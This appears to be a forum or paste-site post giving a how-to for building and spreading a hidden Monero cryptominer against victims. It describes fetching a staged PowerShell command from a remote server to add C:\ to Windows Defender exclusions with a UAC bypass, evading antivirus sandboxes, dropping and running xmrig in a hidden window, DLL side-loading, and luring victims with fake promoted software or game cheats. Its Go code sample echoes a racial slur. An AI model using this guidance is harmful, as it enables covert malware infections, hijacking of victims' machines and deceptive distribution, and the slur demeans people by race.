so.. for your miner i just recommend you just use xmrig and make another program to run it with a hidden window and your desired commands
of course, we are mining xmr here, you're gonna have to pick a mining pool, pick any you like.

my choice for this was Golang, it has a staged powershell command that adds C:\ to exclusions, that combined with UAC bypass is perfect. i host that command on a remote server and then use "net/http" to get it and then run it, this is good to avoid detection. Note, you can also use curl to get the command, anyways.. make sure to also sleep, and do not just use the sleep command sense most AVs speed up time. then it downloads and executes another payload witch is also written in golang, it just writes xmrig to disk and runs it with a hidden window, you will have to use syscalls to avoid showing cmd window like this:

komandoww:= exec.Command("powershell.exe", "echo", "i hate niggers")
komandoww.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
}
komandowwoutput, err := komandoww.CombinedOutput()
if err != nil {
fmt.Println("err:", err)
}
// note, you can also just type komandoww.Run() if you don't need the output.

to hide window, you also have to compile it with these args:

go build -ldflags "-H=windowsgui"

Now that that's out of the way, we have bypassed windows defender, but if the victim has other AVs we are fucked, you can try to kill those as well if you want, but it's gonna be a bit hard Feelssadman

We have to spread it now, how you do that is mostly up to you, you can try being creative and not spreading on sites where everyone else is spreading.
you won't make much money if you can't get a lot of victims, and also... your payload, you can use Cgo and dll side load something or trick your victim into running the dll with powershell command "Rundll32.exe <your-dll>"
i used tiktok and instagram reels to spread, but this will need a bit more work, fake views, fake likes, fake comments, a website with a domain and everything, pretend that it's some kind of legit software that's impressive, for example: a fake AI 3d model generator. you could also spread your malware as a fake cheat, witch isn't the smartest thing to do, but if you're silent crypto mining you don't exactly need "high quality victims"

final advice: don't be to greedy, keep the cpu usage low! and also remember that it will take some time to show results.

good luck [Image: pepeglad.png]

Edit

Pub: 06 Sep 2025 17:12 UTC

Views: 116